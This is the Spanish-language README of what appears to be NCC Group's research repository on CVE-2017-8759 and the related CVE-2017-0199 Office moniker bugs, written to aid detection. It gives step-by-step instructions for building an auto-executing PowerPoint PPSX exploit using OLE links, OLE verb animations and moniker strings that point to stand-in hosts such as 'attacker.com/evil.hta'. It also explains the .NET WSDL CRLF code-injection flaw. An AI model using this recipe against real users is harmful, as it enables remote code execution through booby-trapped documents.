nccgroup/cve-2017-8759Análisis y explotación de CVE-2017-8759 por NCC Group, junto con refinamientos adicionales.
Este repositorio contiene exploits de muestra para CVE-2017-8759 para Microsoft PowerPoint, junto con una descripción de cómo vulnerabilidades similares fueron, y pueden ser, explotadas usando las mismas técnicas.
El objetivo de publicar este repositorio es destacar técnicas de explotación alternativas que los defensores pueden no conocer actualmente. Al resaltar estas técnicas alternativas, esperamos permitir que los defensores implementen una detección robusta y eviten tanto falsos positivos (en el caso de identificar erróneamente otras explotaciones de moniker como CVE-2017-0199) como falsos negativos (cuando solo se presta atención a las detecciones RTF).
En abril, cuando escuché la noticia de que una nueva vulnerabilidad sin parche estaba siendo explotada en la naturaleza, busqué recrear el exploit para poder crear reglas de detección antes de que la vulnerabilidad se hiciera pública. Sin embargo, en ese momento todo lo que tenía era la descripción de la vulnerabilidad de las publicaciones del blog de FireEye y McAfee. Debido a la falta de detalles públicos, esto es lo que me llevó a terminar explotando la vulnerabilidad usando (lo que resultó ser) un método completamente diferente al utilizado por el exploit "RTF URL Moniker" visto en la naturaleza.
Aproximadamente un mes después, Haifei Li destacó la segunda vulnerabilidad (también conocida como "PPSX Script Moniker") en su charla en SyScan360, que había identificado y reportado en enero de 2017. Esta también fue corregida con el mismo parche de CVE-2017-0199, pero fue explotada (tanto por el autor como, posteriormente, en la naturaleza) utilizando el formato de archivo PPSX. En este punto, aún no tengo conocimiento de ataques en la naturaleza que usaran el bug del moniker URL a través de PPSX; sin embargo, debido a que ambos bugs fueron corregidos bajo el mismo CVE, hubo (y todavía hay) cierta confusión en torno a la detección de estos exploits (más sobre esto después).
Avancemos hasta septiembre de 2017, cuando FireEye descubrió otra vulnerabilidad más que utilizaba el formato RTF en Microsoft Word. Esto me impulsó a revisar mi exploit anterior "PPSX URL Moniker" para investigar si el nuevo bug del "SOAP moniker" también era explotable con la misma técnica PPSX.
Como se mencionó anteriormente, la vulnerabilidad anterior (CVE-2017-0199) era en realidad dos vulnerabilidades separadas, las cuales fueron parcheadas por Microsoft bajo el mismo número de CVE. La primera (también conocida como el bug del "URL moniker") fue explotada usando RTF; sin embargo, la segunda (también conocida como el bug del "script moniker") en realidad utilizó una técnica completamente diferente y fue explotada usando el formato OOXML, específicamente PPSX.
Como también se mencionó anteriormente, la técnica OOXML no es específica de la vulnerabilidad del script moniker y puede usarse para explotar las vulnerabilidades del "URL moniker", "Script moniker" y el nuevo "SOAP moniker".
La explotación en OOXML es bastante sencilla y aprovecha algunos trucos para conseguir que el objeto vulnerable se active automáticamente. Primero cubriré el exploit del URL moniker y luego explicaré cómo podría actualizarse para funcionar con los monikers de script y soap (y potencialmente más en el futuro).
Primero se debe incrustar un enlace a un archivo (denominado StdOleLink u OLE2Link). En mi exploit usé un enlace a un archivo de PowerPoint, como se muestra a continuación. Esto es necesario más adelante para activar el moniker.
Una vez colocado el enlace, la ruta debe modificarse para que contenga la cadena del moniker. En el caso del bug del "URL moniker", esto es tan simple como añadir una URL directamente a un archivo HTA (es decir, "http://attacker.com/evil.hta". Para la versión del Script moniker puedes usar la cadena "script:https://attacker.com/evil.sct". La ruta de archivo del objeto vinculado se almacena en la siguiente ubicación:
ppt\slides\_rels\slide1.xml.rels
Simplemente cambiar esto a una cadena de moniker es suficiente para desencadenar la vulnerabilidad cuando el objeto vinculado se activa. Sin embargo, esto no ocurre automáticamente a menos que se use otro truco.
Para activar automáticamente el objeto, se puede usar lo que se conoce como "OLE Verb". En términos simples, esto es lo que hace que PowerPoint «active» el objeto, llamando al método IMoniker::BindToObject(), lo que resulta en la eventual ejecución de tu código (dependiendo del moniker, se toman diferentes rutas después de esto).
Para usar un OLE Verb, simplemente selecciona el objeto incrustado y ve a:
Animations -> Add Animation -> OLE Action Verbs -> Open
Una vez creada la animación OLE Verb, puedes seleccionar "Start: with previous" para asegurarte de que el objeto se active tan pronto como se inicie la presentación de diapositivas.
En este punto, si eliges guardar el documento como PPTX y abrirlo, se te presentará un aviso para actualizar los enlaces. Esto no es deseable desde un escenario de explotación.
Para evitar esto, simplemente puedes guardar el archivo como un archivo PPSX (presentación de diapositivas de PowerPoint) en su lugar. Esto hará que la presentación se inicie automáticamente al abrir el archivo (y así activar el OLE Verb para ejecutar tu código).
Como se describe en la publicación del blog de FireEye, la vulnerabilidad realmente reside en el framework .NET, no en el propio Office. Esto se debe a un problema de inyección de código al analizar un archivo WSDL que contiene múltiples definiciones de direcciones. Si se inyecta una secuencia CRLF, es posible añadir código arbitrario al archivo c# generado, que posteriormente se compila en un DLL y es cargado por la aplicación de Office.
El bug en sí está presente dentro del método IsValidUrl en la clase WsdlParser de System.Runtime.Remoting. Antes del parche de CVE-2017-8759, este método no verifica los caracteres CRLF y simplemente devuelve la cadena sin sanitizar (después de asegurarse de que la cadena esté correctamente entrecomillada), que luego se escribe en un archivo .cs para su compilación mediante csc.exe. Esto significa que si un atacante pasa una URL que contiene \r\n, podría inyectar código arbitrario en el archivo C# generado. La razón por la que la inyección CRLF funciona es porque, normalmente, cuando se analiza un archivo WSDL que contiene múltiples definiciones de direcciones, el método PrintClientProxy intentará comentar las definiciones posteriores como se muestra a continuación.
IsValidUrl sin parche:
PrintClientProxy:
